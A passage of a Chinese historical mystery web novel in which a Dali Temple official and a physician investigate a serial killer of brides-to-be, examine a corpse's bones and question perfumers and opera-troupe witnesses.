裴晏老远也看到了薛氏马车,他长鞭急落几下,马蹄在身后尥起阵阵雪雾,到跟前收缰勒马,在马儿嘶鸣中道:“姑娘来的如此之早,想来是有要紧事,去衙门说罢。” 他跳下马背,将缰绳扔给跟上来的九思,姜离默了默,到底下得马车,二人同入顺义门,裴晏侧眸看她一眼,“是为了付姑娘的事?” 姜离点头,“不错。” 裴晏意料之中,却又抱疑道:“姑娘和付姑娘相识还未有半月,为何对她的事如此不辞辛苦?” 姜离面色淡淡,“许是投缘。” 裴晏不置可否,待到大理寺衙门,值守的武卫见这般大早二人同来,表情几变,待入了裴晏的东院,姜离才启口道:“昨日我去徐老夫人府上时,发现了一处异样,后来我又派人查了一番,便知道大人的画像应往何处找了。” 九思为二人打起帘络,等进了门,裴晏便问:“可是庆安伯府?” 姜离有些意外,“大人如何得知?” 裴晏道:“当日付云慈在玉真观走失,虽于玉真观寻人之行闹的颇大,但一般不会有人上来便关注此事,当天晚上,玉真观的一个老道长因与徐老夫人交好,特意派人往徐府提了此事,这便是说,除了寿安伯自家与徐家,没有其他人知晓更多,而谣言是当天深夜便在东市传开,那消息最可能从何地漏出?” 姜离凝眸,“徐家——” 裴晏道:“徐家与伯府定亲,且婚期将近,一开始我对徐家并无怀疑,直到这几日调查谣言来处,发现幕后之人十分小心,还在事发第二日再去玉真观打探内情,我便命人先仔细排查徐家上下,后得知因有道长主动回报,徐家并未再派人打探,而前日我才得知,就在事发当夜,徐府上有位姑娘做客——” 姜离道:“庆安伯府的四小姐。” 裴晏颔首,“我虽有怀疑,但余妙芙到底是未出阁的姑娘,未有证据不好直言,因此昨日只说尚未查到下落,但昨天半夜,排查庆安伯府的人来禀,说庆安伯前两日把两个不听话的小厮打发去了城外的庄子上,令他们半年内不许回来,今日一早,我已命人拿着画像出城,待找到那二人,便可知我们的怀疑是否有错。” 姜离听他已安排好一切,顿时生出白跑一趟之感,“我昨日提过为徐老夫人看诊,今日又这样早来,大人还没进衙门便猜到我要说什么吧?” 裴晏道:“猜到也不比姑娘亲口相告。” 他神色平静,姜离心底怪异之感却又冒了出来,她俨然道:“既然大人已有安排,那也不必我多言了,大人还有公务,我先告辞。” 她说完便抬步,裴晏忙道:“且慢——” 他看一眼窗外,“凝香阁的人马上就到了,昨夜搜查两家铺子并未发现异常,但康隆刚接手铺子不久,没有半年来的客人名单,因此我令他与康景明查拟名册,今晨同来大理寺,顺便看看康景明有何说法。” 裴晏语气诚恳,姜离想到香药的线索来之不易,看他一瞬,终于还是驻足。 裴晏语声清郎了些,“昨日卢卓搜查药铺所获不多,外间的药铺几乎没有卖成品香身丸的,客人多拿方子取药,虽有人买过近似的汤药,但没有连着数月买的,再考虑到衣裙上的污渍多为粉末颗粒,药铺那条线便可一放。” 姜离点头,“确是更似香丸,那其他地方呢?” 裴晏道:“青楼戏楼有人用此药,但除了极有名头的,其他人用不起香身丸,而这些人也多有不在场证明,尚未寻到可疑之人。” 说话间九思又来送茶,再往屋内添了火炉,等暖和起来时,康隆与康景明还真到了。 二人前后入厢房,见姜离也在,表情都有些异样,见了礼后,康隆热络地掏出一份名单来,“大人,这是昨天晚上小人去找景明拟好的名册,在六月之前,我们的客人还是很多的,但从七月开始,老主顾跑了不少,您说的买香身丸的便渐少了。” 康隆锦衣加身,眉眼带笑,身后的康景明却是比那日所见更为颓唐,他眼窝深陷,面色蜡黄,下巴上胡茬一片 ,不知多少日未理仪容。 裴晏看完名单递给姜离,只问康景明道:“没有男子来买过香丸?” 康景明摇头,恹恹道:“此物专为女子调配,是我们不外传的方子。” 裴晏生疑:“不外传的方子?” 见康景明说话慢吞吞的,康隆主动道:“大人有所不知,各家的香身丸配方虽大同小异,但其用料配比却大有说法,我们的香身丸用料毫不含糊,配比也合宜,从前可是最广受好评的,听说浮香斋也查了,大人您可不知,其实那浮香斋是仿我们的方子!” 裴晏倒不知此事,“怎么说?” 康隆哼道:“他们用药只变了两味,却不过是找了替代之药罢了,如果小人猜得不错,他们是专门买了我们的香丸请懂行的人模仿,不仅是香身丸,还有他们的胭脂香粉也皆是比照我们来的,若这香药与案子有关,那小人建议您狠狠查浮香斋,他们一定有问题,韵儿死后我们的生意一落千丈,最高兴的便是他们了。” 同行相斥,相互模仿者也屡见不鲜,康隆所言裴晏只听个七八分,他继续问:“浮香斋的人此前和康韵可有接触?” 康隆看向康景明,见他一副神不守舍的样子,不由伸手推他一把,“景明,你倒是答话啊……” 康景明又摇头,“不曾接触过,不过姐姐说过,浮香斋有几味香膏调的不错,她也买来研究过,用料倒是分得出,配比却难仿。” 康隆轻嗤一声,“什么调的不错,你果然是个未学精到的,浮香斋就是防制我们,再加些不入流的噱头罢了,现在好了,你姐姐一走真让他们称霸王了,我敢肯定,那背后之人,必定对我们极有恶意——” 姜离忍不住问:“何以见得?” 康隆咬牙切齿道:“浮香斋这阵子风头正盛,还要在后日办个品香雅集,说有什么新香,只请那些非富即贵的老主顾,可您敢信,他们竟把请帖送到了我和景明这里,要邀我们同去品香,这不是明晃晃打我们的脸吗?” 此行确是挑衅,姜离和裴晏也听得面色微沉。 康隆又苦兮兮道:“您说可恶不可恶,我们去也不好,不去也不好,若不去,还以为我们怕了他们,若韵儿还在,哪能容他们如此放肆?” 这等商户之争衙门自是不管 ,裴晏又看了看名单,见没什么可问,康景明又是一副颓丧之态,便令二人先行回府等消息。 等他们出了门,姜离走到窗边,正看到康隆嫌恶地低斥:“看看你这幅鬼样子,当着大人的面简直丢尽了康家的脸,一副都在害你的样子,你干脆去给你姐姐陪葬……” 康景明落在身侧的拳头紧了又松,到底没与康隆争执。 裴晏走来姜离身边,“康隆有意收回二房的宅邸,康景明的处境不大好,他是四岁时被其父领回家的,谁也不知他母亲是谁,当时的主母不愿认,他便等于寄居在康家,后来康老爷两夫妻相继病故,康家其他几房为了争夺家产,对他姐弟二人颇为苛刻,康韵比他大三岁,算是拉扯着他,相依为命长大。” 光看容色也知道康景明过的辛苦,姜离叹了口气,“可惜没有新线索,凝香阁的客人与浮香斋相差无几,且皆是——” “女子”二字未出,姜离话语忽然一断,裴晏不明所以,顺着她的视线看向窗外,这一看,他的表情明暗不定起来。 只见院门处正走来二人,左侧的是付云珩,其右跟个着宝蓝云纹团花纹蜀锦大衫的清俊男子,步态悠哉,眉眼风流,竟是李策。 “鹤臣,我来不碍你公务吧?” 李策笑盈盈的,人未进门声先至,他父亲是从前的江陵王,景德十七年削藩后降为郡王衔,后父母早逝由他袭爵,长安城世家贵胄皆称他小郡王,他大喇喇掀帘而入,不等裴晏答话,细长的瑞凤眼微微一眯,“薛姑娘怎在此?” 姜离微微欠身,“小郡王。” 付云珩后一步进来,惊讶道:“咦,小郡王认识薛姑娘?” 李策含笑点头,“那日在庆阳姑姑府上见过。” 付云珩想起姜离提过莳花宴之事,恍然大悟,“原来如此,这可真是巧了,你应该知道吧,薛姑娘医术极是高明。” 李策视线在裴晏与姜离之间来回,“辛夷圣手,我自然知道,但今日这是……” 裴晏道:“有一案子需要薛姑娘帮忙,你怎来了?” 李策一听想起来意,立刻道:“大理寺不是在查那新娘屠夫的案子吗?怎么还查到了我师父那里?他老人家如今在病中心力不济,被你们一番盘问吓得不轻,只叫人来问我生了何事, 我哪知道何事牵扯天音楼,干脆来找你问个清楚。” 见李策竟是为了程方荀而来,裴晏先示意他落座,“确有个案子与戏班之人有关,找到天音楼也只是例行查问,你师父病重卧床,自不可能与他有何干系。” 李策眼底生出兴味,“什么案子?是那新娘屠夫案吗?” 裴晏还未说话,李策瞳底一亮,“还真是?!” 见裴晏欲开口,李策抬手道:“你可别否认,你我认识多少年,我还不知你?你惯不会撒谎的,要哄人也必要先做一番心里建设,也真是难为你了,一上任就是这么个大案,你放心,不该问的我绝不多问。” 李策虽时有纨绔之行,但也知分寸,见裴晏面露无奈,他把玩着腰间玉佩道:“我前日还与庆阳姑姑说,自你入大理寺,见你一面都难,此前在御前当差,虽被陛下看着,但好歹不必风里来雨里去的不是?陛下最心疼你,你却偏挑了最辛苦的差遣,我若有你一半文采,我也不必吃如今的苦。” 付云珩听得发笑,“小郡王在将作监哪里辛苦?不必御前奏对,也不必上朝论政,建筑木工为你所好,陛下也对你满意极了,可别叫我们羡慕了。” 李策轻嗤,“这便是你不懂了,期望越高所求越多,陛下对我唯一的指望便是我安生在将作监待着,每年修几间宫室补几处楼阙,你鹤臣哥哥可与我不同,陛下期望他将来入阁拜相,恨不得让他立刻建出一番功业来,我看啊,倘若今次的案子办不好,陛下年后只怕还要他回御前去……” 裴晏微微摇头,付云珩则为裴晏担忧起来,“那也太快了吧。” 李策笑意分明,一副隔岸观火的看好戏之态,目光一转,却见姜离未听他们说话,竟在看裴晏案上公文,她今日月白斗篷下是一袭天青万字流云纹绣裙,窗外霜雪明光落在她身上,实在是一副秀骨清像。 李策眼底闪过讶异,“薛姑娘这是帮了鹤臣多大的忙?我只知薛姑娘医术非凡,却不知她还能问案,鹤臣,你办差可是极严谨的。” 裴晏道:“薛姑娘医术不凡,亦见微知著,的确助力不小。” 付云珩这时道:“小郡王,薛姑娘今岁也值双十之龄,医术上又有如此造诣,我姐姐此前说,一看到薛姑娘便想起——” 付云珩未说 得下去,因李策面上明晃晃的笑意顷刻一僵,但很快,他又依言打量姜离两眼,转过头道:“哪里像了?你这话可也冒犯薛姑娘。” 付云珩抓了抓脑袋,“我就这么一说……” 李策闻言打了个哈欠起身,“罢了罢了,你们还有要紧差事,我也得去衙门露个脸,否则那群老古董少不得要去御前告我的状,鹤臣,若我师父真有何牵连,你得看在我的面子上提前知会我一声。” 裴晏懒置一词,李策也无需他回应,“反正我当你答应了,薛姑娘,咱们下回再见,告辞了。” 姜离点了点头,李策施施然出了门。 付云珩望着窗外道:“也是巧了,我适才刚到衙门门口便碰到小郡王,鹤臣哥哥,你派人寻我所谓何事?” 裴晏如常道:“你姐姐的谣言我与薛姑娘已发现关键线索,如今正等抓到人证,你那边不必查了,人证抓到之后再与你细说。” 付云珩大喜,“那岂不是很快就能替我姐姐洗去污名?太好了!我倒要看看是谁害我姐姐!她遇袭已够苦,如今连婚事也没了,我非求个重判解心头之恨!” 裴晏看向姜离,却见她面上一片凝重并未搭话,他疑道:“薛姑娘可是想到了什么?” 姜离道:“此事内情或不简单,不过,一切等找到证人再议,届时如何处置,也要看付姑娘自己的意思。” 话音落定,十安捧着封文书自外而入,“公子,右金吾卫送来的公文。” 见裴晏有的忙,姜离道:“大人既有公事,我便先告辞了。” 付云珩道:“那我也先回衙门,戏班那条线我们在跟,若有消息了我再过来。” 裴晏应是,又看向姜离道:“香药如今的名单虽无男子,但凶手作案半年之久,大理寺会继续查访,有消息再知会与你。” 姜离应好,与付云珩一道出了门。 待走出院子,付云珩道:“ 第 16 章 女尸 《鹤唳长安》全本免费阅读 申时过半,城南义庄正堂内站满了人。 汪乾有些莫名道:“怎忽然问起七年前的事?七年之前,我们一家人还有绣楼的师傅们一起出城上香,当时我妹妹和胡师傅乘一辆马车,结果路上他们那辆马车车轴忽然断了,车厢甩出去,我妹妹和胡师父都受了伤,胡师父摔断了腿,我妹妹则撞折了手。” 他抬起右手比划,“当时手腕错了位,前臂内侧的骨头也断了,请了几位大夫都说以后会落下残疾,幸好后来遇到一位专治骨伤的大夫,花了一个多月才见好。” 姜离指着自己的手道:“是手臂内侧这根骨头断了?” 汪乾点头:“那时我妹妹手腕和手臂都肿的老高,大夫检查后是这样说的,后来治了一个多月,又养了一个多月,幸而她年纪小算是好全了。” 话音落定,汪乾面色紧张问:“裴大人,这是何意?怎么问起这个?莫不是我妹妹的遗体出了什么岔子?” 裴晏道:“眼下还不肯定,你在此等候片刻。” 汪乾欲言又止,这时,宋亦安从甬道之中走了出来,他围着面巾戴着护手,瓮声瓮气道:“大人,从现有露出的骨骼来看,的确没有发现受伤旧痕,但如果要检查的明明白白,需要把汪姑娘的手臂骨骼清理出来,再用仵作特有的法子试。” 汪乾一听瞪大了眸子,“什么意思?把骨骼清理出来?” 宋亦安道:“就是把汪姑娘右手小臂上的腐烂皮肉全部剔除干净。” 汪乾眼前一黑,愤然道:“我妹妹的遗体本身就残缺不全了,如今还要剔骨,你们这、这是愈发令她泉下难安了……” “汪公子。”姜离上前半步,“只有早日抓到凶手才能真正让汪姑娘安息,何况如今发现的线索极其要紧……” 见汪乾面无松动,裴晏道:“你妹妹的手受过重伤,但如今发现的这具遗体手臂骨骼却不见伤痕,也就是说,如今这具遗体,极可能不是你妹妹。” 汪乾听得大惊,“不是我妹妹?可、可那些衣裙饰物,都是我妹妹的没错啊,如果不是我妹妹那又会是谁?难道我妹妹还活着?” 如果死者不是汪妍,那真正的汪妍在何处的确是个问题,但倘若好好一个人失踪五月未有消息,其结果也不容乐观。 这 一点汪乾能想到,但即便只有一丝希望,他也愿意一试,“既是如此,那便验骨吧,你们该怎么验就怎么验!如果我妹妹还活着,那怎么样都行……” 裴晏看向宋亦安,宋亦安立刻返回停尸间,裴晏和姜离一同跟进去,便见宋亦安正拿起汪妍的右手小臂前去化冻。 汪妍遗体腐烂最甚,四肢多处见骨,宋亦安先将骨头化冻,再将其上腐烂粘连的皮肉一点点剔除,待骨头全露出之后,又放入陶罐之中大火水煮。 这一幕看的众人心底发寒,汪乾更是背过身去连连干呕,宋亦安面无表情地水煮了一刻钟,以去除骨头上所有污垢,待煮完,又拿了桑皮纸仔细擦干打磨,待露出人骨底色,宋亦安走到窗边对着天光仔仔细细看,不多时,他惊讶道:“我可以确定,这是一截毫无瑕疵的、完美的人手臂骨,其主人绝没有受过伤。” 裴晏神色难看起来,汪乾也倒吸一口凉气,“不是我妹妹,真的不是我妹妹,裴大人,那是不是说,我妹妹有可能还在世?” 裴晏道:“不是汪妍,可当初抛尸用的是汪妍的衣裙,凶手的目的正是让我们把此人当做汪妍,无论如何,汪妍被凶手掳走当不假。” 汪乾心绪一阵跌宕起伏,姜离则把目光落在了康韵和郑冉的遗体上,这二人一个死在盛夏,一个死在初秋,尤其是康韵的头颅,也几乎面目全非,姜离道:“凶手既能让官府以为那是汪妍,那康韵和郑冉的尸体许也存疑。” 裴晏也正有此意,但宋亦安在旁道:“可是这两位小姐没受过什么重伤,身上其他地方也几乎没有特殊的痕迹,再加上尸表尸变,要如何重验呢?” 裴晏吩咐道:“去郑家和康家走一趟,再将康韵和郑冉的贴身婢女也带来。” 十安领命而去,众人面沉如水,皆似陷入迷雾之中,姜离掩着口鼻上前,仔细观察被分尸的尸块,“尸体确是同一人所有,不是汪妍,那便是说此案遇害的不止知道的这几人,这几月没有其他人报过女子失踪吗?” 裴晏道:“自然有,此案震动长安,一旦有人报年轻女子失踪,当先便与此案关联,但这几月来,与这具女尸相符合的并没有。” 汪乾顾不上其他,只道:“既然不是我妹妹的遗体,那我妹妹在哪里?活要见人死要见尸,没道理 失踪了这么久凶手还将她留在身边的,若真是,那倒也好了。” 裴晏眉头拧起,“凶手毒辣狡猾,先以分尸掩盖线索,让我们误以为凶手是为了泄恨图色,如今连尸体身份也被其误导——” 姜离听着裴晏所言,也喃喃道:“凶手极喜欢用障眼法,他似乎能猜到官府会如何调查,既是如此,那他误导第一具遗体的身份,定也是为了掩盖什么,而这位死者死亡六月,却没有家里人前来报官,也十分古怪。” 姜离说到此处,问宋亦安,“宋仵作,发现尸块之时,这位死者的死亡时间,是确定在汪姑娘失踪之时吗?” 宋亦安点头,“不错,汪姑娘是六月初七报的失踪,这位死者的尸块则是在六月二十被发现,虽然腐烂程度极高,但因发现之时其内脏几乎被尸虫蚕食殆尽,而一般夏日尸虫蚕食内脏的速度也就在半个月左右,所以我们当时认为死亡时间对得上,如今确定死者不是汪姑娘,那在下以为,这位死者多半死在汪姑娘之前。” 裴晏沉声道:“第一位死者不是汪妍,而是此人,但凶手却要让世人以为她便是汪妍,要么第一位死者身份特殊,凶手不愿让世人知道是她死了,要么,凶手本就是为了汪妍,让世人误以为汪妍已死——” 不同角度推演,结论自也不同,而裴晏所言几乎都说得通,他又道:“为今之计,一是查清这位死者身份,二是再盘查汪妍的人际关系,看有无第二种可能,第三,便是确定后两位面容已毁的死者是否还有误判。” 汪乾忍不住道:“我妹妹平日里就是家里铺子两处来回,她认识的人我都认得,她与冯家定亲之后,除了在铺子里与外男打过照面,根本没有新认识的男子,我实在想不到何人会为了她杀人,只为做局让她假死。” 裴晏若有所思,当着汪乾的面却并未多言,众人又等了小半个时辰,礼部司郎中郑旭与夫人梁氏带着个嬷嬷赶了过来,没一会儿,康隆和康景明也先后到了义庄,二人只带了随身小厮并无侍婢,家属们此前打过照面,今日又被聚集在此,皆面色惶惶。 裴晏开门见山道:“此前诸位已认领了遗体,但我们如今发现此前认领遗体的章程过于简单,今日请你们来,是想让你们再回忆回忆,除了年岁身量之外郑冉和康韵身上还有没有其他特征 ,例如受过伤、有何在身上留下痕迹的习惯,越详细越好。” 康隆和康景明早上才去过大理寺,不想下午又被叫来义庄,一听此言,康景明表情迷惑,康隆也道:“大人这是何意?此前不都确认过了吗?” 裴晏严声道:“答问便可。” 康隆不敢多问,立刻回忆,“韵儿有何习惯留下痕迹,还真说不上来,受伤也是没有的,她的遗体我们都看过,那模样,也辨不出什么浅表痕迹了吧,她制香,少不了手上偶有伤痕,别的真想不起来了……” 他看向康景明,康景明道:“姐姐没得过重病,也没有受过重伤,平日里醉心于制香研香,除了铺子便是在府中待着,我也想不出有什么痕迹。” 姜离这时道:“她的侍婢呢?” 裴晏道:“康韵出事前七日,其侍婢翠竹因偷盗财务被赶出了府,后来离开长安回老家密州去了,我们去查过,她的确去典当过康韵的首饰。” 裴晏又看向郑旭夫妻,梁氏道:“冉儿也没受过伤患过病,唯一便是她有少年白,这在月前也辨认过的,苏妈妈——” 跟来的老妈妈道:“不错,奴婢给小姐梳头的,总要帮她想法子把白发藏起来,因此记得清楚,当时也来辨认过的。” 裴晏这时也问:“她那两个侍婢呢?” 梁氏眼神簇闪一下,“冉儿出事,乃是那二人护主不力,后来我看见她们便要想起冉儿遭的难,便将她们发卖了。” 裴晏皱了皱眉,这时康景明道:“此前我说过,我姐姐出事前两月一直研究香膏用色,她的指甲被染了朱红颜色,又因常常与蜜蜡油脂打交道,令那颜色极其难褪。” 康隆在一旁点头,裴晏自也记得此事,这时姜离不懈地问:“两位姑娘幼年至今没受过任何骨伤?” 裴晏径直道:“倘若要损伤两位姑娘遗体验尸,你们——” 康家还未说话,梁氏先断然道:“不可,大人,冉儿已够受罪了,怎还能损伤?这案子耽误日久,若非看在大人面上,我们无论如何也要把她的遗体接回去的,她也没有受过什么骨伤,衙门不必再去验什么。” 康景明也在旁道:“我姐姐自小也未受过何伤,姐姐的遗体已经那般模样了,还请大人体恤我们不忍之心。” 如此便算表明了态度,当今世道死者为大,官府勘验也许征得家属同意,既然两家都不愿意,裴晏自也不会强迫,便道:“如今也暂无线索,你们放心,义庄如今增派了守卫,会好好照看几位姑娘的遗体。” 如此,郑家与康家先行离去,唯独汪乾的心备受煎熬,“裴大人,无论如何,一定要找到我妹妹下落,便是真被谋害,我也要看到她的遗体才可瞑目。” 裴晏颔首,“你放心,大理寺自会查的。” 得了保证汪乾才悲切离去,他一走,裴晏神色更冷沉几分,此案查了半年,他接手也有两月,却直到今日才知第一位死者根本不是汪妍,这是何等的荒唐! 他吩咐道:“去京畿衙门一趟,让齐大人再排查一遍报失之人,除了长安城内的,长安城外两县也一并核查,尤其是待嫁的新娘。” 十安应声而去,姜离走入停尸间,目光仍落在几人残缺可怖的遗体上,“若是待嫁的新娘子失踪,家里人不可能不着急,除非此人在长安并无家人,但没有家人又是如何定亲的?凶手选择的是即将成婚之人,她自家无人报官,那夫家也无人管吗?” 裴晏也百思不得其解,“凶手分明是为寻待嫁新嫁娘掏心,如今又来一出掩饰身份之行,让世人以为死的是汪妍能如何?” 这案子重重转折,亦越来越复杂,见裴晏目泽深寒,姜离便知他也颇为焦灼,然而如今忽然多出一具无名女尸,实在叫人难寻头绪…… “再仔仔细细验一遍第一具尸体,不惧损伤。” 姜离正要开口,裴晏所言却与她不谋而合,宋亦安倒是更为冷静,“不等京畿衙门的消息吗?若这是有主的人家……” 裴晏道:“案发已经五月,再拖延下去,凶手又可行凶了。” 宋亦安重重点头,“是,在下这就化冻,幸好汪家和康家愿意花钱,夏天就送了不少冰来,不然如今真是只剩下一副骸骨了。” 宋亦安忙碌起来,姜离亦仔细回忆起公文所写,生怕还有何遗漏,此时时辰已经不早,裴晏看了一眼外头天色,再想到宋亦安一时半会儿难验完,便道:“此处寒冻,姑娘不若回府等消息,晚些时候我让九思将验状送与你。” 冬日天黑的早,眼看着夜幕将至,姜离便道:“也好,那我就先 告辞了。” 裴晏转身相送,一路出义庄看着她上了马车,待马车走动起来,他面上温润褪去,转身入了停尸之地,九思跟着道:“幸好薛姑娘去锦云绸缎庄做衣裳,否则咱们不知要蒙在鼓里多久,薛姑娘真是明察秋毫,胆子也大。” 裴晏视线落在宋亦安手上,并未接话,九思眨了眨眼道:“老夫人近日病情反复,依小人看,没有比薛姑娘更好的女医了……” …… 马车回到薛府时天色已经黑透,可进了府门,姜离却碰见薛沁带着采薇站在影壁之后,一个青衣小厮拿着一张请柬,正恭维着薛沁。 薛沁含笑道:“行,我自会去的。” 小厮连声应好,又行礼告辞,薛沁这时看到了她,薛沁上来道:“长姐今日早早出门也不知去了何处,父亲下值之时还在问你,长姐虽行医,可这里是长安,长姐可莫要传出些不好听的话来。” 话音刚落,她忽而掩住口鼻,“长姐身上沾了什么气味儿?” 姜离只去看她手中请帖,“这是——” 薛沁牵唇,“浮香斋后日有个品香雅集,连庆阳公主殿下也请了,说有什么新香要试,长姐若是想去 第 17 章 真的是他 《鹤唳长安》全本免费阅读 “芍药、相思子、合欢、甘松、麝香、木香,这说的是我们名唤‘长相思’的香脂,一套五盒,含面脂、口脂、珠粉、香膏、石黛,只需二十两银子,是我们今年四月中出的极品,也是迄今为止我们店里卖的最好的。” 浮香斋坐落在城西南崇业坊中,周遭虽不比东西市繁华,但因距离朱雀大街不远,也不缺来客,午时过半,阔达前厅中已是衣香鬓影,人头攒动,身材圆滚的掌柜陈安将裴晏与姜离请入偏阁回话,虽知是大理寺查问,面上也得色难掩。 陈安又眉飞色舞道:“这套长相思里面除了您知道的那几味药材香料,还用了些西夷神香木,好些小娘子用了我们的香脂与心上人终成眷属,因此我们这香又叫姻缘香,四月开卖,起初还没什么人知道,到了六月,我们每个月限量卖五十套,您想长安城这么多夫人小姐,五十套哪里够,那没法子了,我们只好设了门槛,要在我们这里买两百两银子以上的主顾才能买这长相思,就算这样,也还是不够卖……” 陈安喜滋滋地抄着手,做为这半年来长安城最春风得意的掌柜,他不知愁为何物,大理寺查案来过几回,他也全无心虚之态。 裴晏道:“这套香四月中开始卖,你可还记得具体是哪一日?且前几天买香的有哪些人?” 陈安立刻道:“小人不会忘记,是四月十三开始卖的,那时候我们还未设门槛呢,眼熟的我记得,可若是夫人小姐们派了丫鬟嬷嬷们来买,或是来过一次就不来了的,我们也不认得谁是谁,更不会刻意让大家留下姓名。” 裴晏道:“把你记得的整理一份名单出来。” 陈安应声去往后厢,姜离则打量起这家铺子来,浮香斋浮香斋,店如其名,幽香浮动,主店为一座二层小楼,一楼为大堂,后厢连着楼上待客雅间,再往后似乎还有片小院为制香的工坊,时辰尚早,店前店后皆忙的脚不沾地。 半刻钟的功夫,陈安捧着一份名目出来,“大人——” 裴晏接过名目一看,“只这七人?” 陈安赔笑道:“本店今年二月才开张,四月的时候还没打出名头,每日来客的确不如眼下多,小人适才查看了记录,又问了几个伙计,只记得这么七个人,其他不知名讳的客人应该还有十多人,但她们后来多半没再来过 ,小人也无从追溯。” 陈安说的诚恳,裴晏也能理解,他把名单递给姜离,又道:“你口音听着不像本地人。” 陈安一笑,“不错,小人是通州人,早前也是掌脂粉铺子的,过年那会儿,小人在通州的铺子遇到了点难处,旧东家不打算干了,这时候如今的东家找到了小人,小人这才来了长安,这半年做出了名堂,也算不辜负东家。” 裴晏这时道:“你们东家是何许人?” 陈安神秘一笑,“不是小人不答,是小人也不清楚,只知东家是西夷人,来长安做生意不愿风头太露,除了几样香品是东家亲自制作,其他抛头露面的事情都是小人一手操办,东家也不怎么来铺子,甚至铺子装潢、招揽伙计工人,都是小人拿主意。” 姜离正看着那份名单作难,陈安写了七人,这七人皆是非富即贵之家,因此绝不可能失踪了却无人报官。 裴晏摆了摆手令陈安退下,片刻道:“为今之计,还是要去查此七人,看是否有人买香赠与她人,甚至是买了香之后赏赐给下人也说不好,城中富贵人家,便是婢女也绫罗加身,再加上她看病的店铺在城南,也可大致锁定住地范围。” 姜离也道:“膝上生病,确会选择最近的医馆看病。” 裴晏叫来十安吩咐下去,一转身,却见姜离出了偏阁,去了正堂之中看香,她衣饰不凡,又是与裴晏同来,堂中伙计不知她是谁,态度却极其热络,“姑娘,您随便看,小人以为,您形容清雅绝俗,这一秋水白露香最适合您不过……” 姜离噙着淡笑,“是吗?那便都与我说说看吧。” 伙计扬声答应,立刻将眼前香膏从头到尾与姜离说来,姜离听得仔细,眼底亦微光明灭,不远处裴晏站在偏阁门口,视线悠悠落在姜离身上。 九思站在他身边,轻声道:“薛姑娘不施脂粉,这是真要买还是问问看?” 裴晏道:“她不会买。” 话音落定,便见姜离对那热情的伙计道了一声“辛苦”又朝他们走来,那伙计忙活半晌却一场空,颇为哀怨地望着姜离。 姜离走到裴晏跟前,“那位康老爷倒也没说错,这里的香膏香脂与凝香阁的确有几分相似,只是比凝香阁更为精致花哨。” 九思笑道:“这年头大 家就喜欢这些花哨。” 话音落下,外头进来个武卫,“大人,金吾卫来消息,说戏班那边有线索了,找到了两个证人已送回了大理寺衙门——” 裴晏点头,“我与薛姑娘这就回衙门。” 姜离在旁听得一默,她有说要去大理寺吗?但想到那凶手会模仿人声,此条线索又的确颇为紧要,她到底很是心动,见裴晏出门上得马背,她便也跟了上去。 上了马车,怀夕轻声道:“裴大人果然还是信任姑娘的,若姑娘是男子,裴大人只怕要把姑娘留在大理寺才好。” 马车辚辚而动,裴晏得了消息虽有些心急,却也只跟在马车之后,姜离敲了敲车璧,“长恭,走快些——” 长恭马鞭急落,马车沿着长街奔驰起来,怀夕这时也道:“那位姑娘若是富贵人家的小姐,怎么看病是一个人呢?奴婢觉得裴大人说得对,只怕真是哪家得脸的下人,但就算是下人,极是得脸的,那失踪了也该报官啊。” 姜离目光沉凝,“浮香斋四月十三开始卖长相思,那位老先生虽然记不清她去看病具体是哪一天,但也说是四月中,刚开始卖她便买了来,这位姑娘定是爱香之人。” 怀夕补充道:“且她身上香味极浓呢,昨夜三小姐虽然也浓香扑鼻,但她外出时可还知道轻重,奴婢听吉祥姐姐说,三小姐在家的时候,常用香膏香汤养身,如此达到一种不饰而香的境地,昨夜说不定真涂了三斤香膏。” 说至此,姜离秀眉轻蹙,“浮香斋,爱香的年轻姑娘,怎么总觉得何处有些古怪呢……” 姜离想了一路,待到了顺义门外,她下马车便问:“大人,此前调查浮香斋之时,这半年来浮香斋可有女工失踪?” 裴晏听得蹙眉,“不曾有,浮香斋掌柜伙计十二人,制香的作坊内也只有十五人,且都是陈安精心挑选,开业之后从无轮换,怎如此问?” 姜离摇头,“我只是在想这位姑娘有些古怪,能让大夫一下闻出来香膏用料的,定是用香极浓,而寻常人用香,但凡知道礼数的,都极少在外出时如此张扬,再加上浮香斋在城中西南,距离仁风医馆并不算远,我便想,那位姑娘身上极香,是否不是因为她爱浓香,而是因她本就是制香之人,如此身上才沾了极浓郁的香气。” 裴 晏先觉欣然,“此念的确合理,但凶手的目标皆是待嫁的新娘,莫说浮香斋没有这样的女工,便是有,待嫁新娘这一点也难附和。” 姜离微微颔首,“的确,那便只能从客人身上入手了。” 裴晏道:“已经去查了,下午应能有消息。” 二人相携入大理寺,值守的武卫见二人同来,表情又精彩纷呈起来,待二人走远了,一武卫才悠悠道:“没记错的话,少卿大人已二十又三了吧?” …… 付云珩正等在院子里,见二人一齐出现,目光登时生亮,“鹤臣哥哥,薛姑娘,你们怎么在一起?” 裴晏道:“昨日发现第一具遗体不是汪妍,如今正查此人身份。” 他言简意赅,听得付云珩云里雾里,“什么?不是汪妍?然后请薛姑娘帮忙?” 一旁九思补充道:“要去几家医馆查探,本来可以派底下人去的,公子想着时辰尚早,便自己跑了一趟,恰巧遇见了薛姑娘。” 付云珩“哦”了一声,又道:“对了,我们排查到了两个能提供线索之人,按他们所言,戏班子里其他人虽然没有嫌疑,可是他们曾经见过其他有此技能之人。” 两个人证都等在屋内,待见了礼,其中一人当先道:“小人钟春,如今在三庆班登台,大人要找的,极善口技之人,我们班子里虽然寥寥,但小人在十年前,尚在杂戏班子里学艺之时,遇见过两个比小人小五六岁的,这二人天赋绝好,口技一流,除了模仿人声,鸟鸣犬吠样样皆信手拈来,只是后来杂戏班子要离开长安,小人有幸去了三庆班,他们却不知去往何处了,这些年再也没见过他们……” 裴晏问:“他们叫什么,如今多大年纪,长相如何?” 钟春想了想,“一个叫苏恒,一个叫周宇,今年应在二十上下,长相一个瘦长脸,唇角有颗红痣,一个则是国字脸,眼睛尤其好看有神,二人除了口技,武功也学的不赖,别的小人便说不上来了,当时他们才十岁出头,因口技天赋小人记得清楚,但十年已过,容貌皆会变化,小人说不准。” 裴晏看向另一人,那人便道:“小人徐赟,如今在登仙极乐楼当差——” 姜离站在窗边,听到“登仙极乐楼”几字,眼皮忽地一跳,便听他继续道:“小人从前 在长福班的时候,也遇见过钟兄说的苗子,大抵是七年前吧,也有个学徒极擅口技,不过他只在班子里呆了半个月,因偷了班主的钱,被班主一气之下发卖了出去,具体发卖去了何处小人不知,长福班五年前去了南方,也难探问了。” 不等裴晏发问,徐赟便道:“那孩子当时叫冬青,只有十一岁,长相普通,身段却极好,若他们这样的人,要么被卖去富贵人家做小厮,要么……” 